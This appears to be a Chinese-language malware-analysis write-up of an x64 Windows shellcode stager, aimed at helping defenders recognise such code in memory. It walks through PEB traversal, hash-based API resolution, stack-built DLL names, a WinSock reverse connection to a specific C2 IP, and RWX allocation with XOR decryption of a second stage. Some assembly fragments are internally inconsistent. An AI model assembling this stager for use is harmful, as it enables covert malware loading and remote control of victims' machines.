x64 Windows Shellcode 分析:PEB 遍历与哈希 API 解析

无导入表 Shellcode 的核心思路

普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案:

gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址

遍历导出表(Export Directory)

对每个函数名计算哈希,与目标哈希比较

找到后读 AddressOfFunctions 得到实际地址

读 PEB 找 kernel32

x64 上 PEB 地址固定在 gs:[60h]

mov  rax, gs:[60h]          ; rax = PEB
mov  rax, [rax+18h]         ; rax = PEB_LDR_DATA
mov  rax, [rax+10h]         ; rax = InLoadOrderModuleList.Flink
                            ; 第三个模块通常是 kernel32.dll

对应 C 结构:

PEB           → PEB_LDR_DATA
PEB_LDR_DATA  → InMemoryOrderModuleList
               (index 0: ntdll, index 1: kernel32)

导出表哈希匹配

Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体):

def ror13_hash(name: bytes) -> int:
    h = 0
    for c in name:
        h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
        h = (h + c) & 0xFFFFFFFF
    return h

Shellcode 中看到的调用模式:

mov  ecx, 0726774Ch   ; LoadLibraryA 的预计算哈希
call resolve_api       ; 通用 API 解析函数,返回地址在 rax

resolve_api 函数做以下事情:

1. 遍历 InMemoryOrderModuleList
2. 对每个模块读 Export Directory
3. 遍历 AddressOfNames,计算每个函数名的哈希
4. 哈希匹配时:
   AddressOfNameOrdinals[i] → ordinal
   AddressOfFunctions[ordinal] → RVA → 实际地址

动态加载 DLL

找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段:

; 构造 "user32.dll" 字符串
mov  dword ptr [rbp-70h], 'resu'   ; "user"
mov  dword ptr [rbp-6Ch], 'd.23'   ; "32.d"
mov  dword ptr [rbp-68h], 'll'     ; "ll"
mov  byte  ptr [rbp-66h], 0        ; null terminator
lea  rcx, [rbp-70h]
call rbx                            ; LoadLibraryA("user32.dll")

同样方式加载 ws2_32.dllmsvcrt.dll

网络反连结构

加载 ws2_32 后按标准顺序调用 WinSock API:

; 初始化 WinSock
mov  ecx, 202h        ; wVersionRequested = 2.2
call WSAStartup

; 创建 socket
; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6)
call socket

; 填充 sockaddr_in,IP 写入栈上
; 102.217.197.174:port(字节倒序写入)
call connect

; 接收第二阶段 payload
call recv

C2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。

VirtualAlloc + XOR 解密执行

接收到加密 payload 后:

; 申请可执行内存
mov  ecx, <payload_size>
xor  r8d, r8d
mov  r9d, 40h           ; PAGE_EXECUTE_READWRITE
call VirtualAlloc

; XOR 解密循环
.loop:
    xor  byte ptr [rcx+rdi], 99h   ; key = 0x99
    inc  rdi
    cmp  rdi, rcx
    jl   .loop

; 跳转执行
call rax

整体执行流程

gs:[60h] → PEB

遍历模块链 → kernel32 基址

导出表哈希解析 → GetProcAddress / LoadLibraryA

LoadLibraryA("ws2_32.dll")
LoadLibraryA("user32.dll")

WSAStartup → socket → connect(C2)

recv(encrypted_payload)

VirtualAlloc(RWX)

XOR 解密

执行第二阶段 payload

这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。

快速识别特征

特征含义
gs:[60h] 读取读 PEB,无导入表 shellcode 标志
mov ecx, <4字节哈希>; call fn哈希解析 API 调用模式
栈上逐字节写字符串隐藏 DLL 名称
VirtualAlloc + PAGE_EXECUTE_READWRITE申请可执行内存准备执行 payload
循环 XOR解密第二阶段 shellcode

实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。